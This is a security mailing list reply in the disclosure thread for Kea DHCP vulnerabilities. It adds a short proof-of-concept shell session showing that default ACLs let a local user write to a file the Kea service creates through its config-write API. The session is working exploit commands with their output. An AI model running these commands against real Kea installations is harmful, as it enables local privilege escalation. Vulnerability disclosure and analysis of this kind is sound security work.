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Message-ID: <20250528182325.yuupynsufybqvea3@jwilk.net>
Date: Wed, 28 May 2025 20:23:25 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: Re: ISC has disclosed three vulnerabilities in Kea
 (CVE-2025-32801, CVE-2025-32802, CVE-2025-32803)

* Matthias Gerstner <mgerstner@...e.de>, 2025-05-28 19:21:
>By leveraging issue 3.2), the Kea services can be instructed to create 
>`_kea` owned files in the attacker's `$HOME/.Private`. The content of 
>the created files is not fully attacker controlled, however, so it will 
>not be possible to craft a valid ELF object for loading via `dlopen()` 
>this way. By placing a setgid-directory in `$HOME/.Private/evil-dir`, 
>any files created in this directory will even have the group-ownership 
>of the attacker. The file mode will be 0644, however,

Default ACLs to the rescue!

$ chmod a+x ~
$ mkdir -m 777 ~/.Private
$ setfacl -d -m u:$LOGNAME:rwx ~/.Private/
$ curl -s -H "Content-Type: application/json" -d '{ "command": "config-write", "arguments": { "filename": "'"$HOME"'/.Private/libexploit.so" } }' localhost:8000 > /dev/null
$ echo pwned > ~/.Private/libexploit.so
$ ls -l ~/.Private/libexploit.so
-rw-rw-rw-+ 1 _kea _kea 6 May 28 18:15 /home/jwilk/.Private/libexploit.so
$ cat ~/.Private/libexploit.so
pwned

-- 
Jakub Wilk

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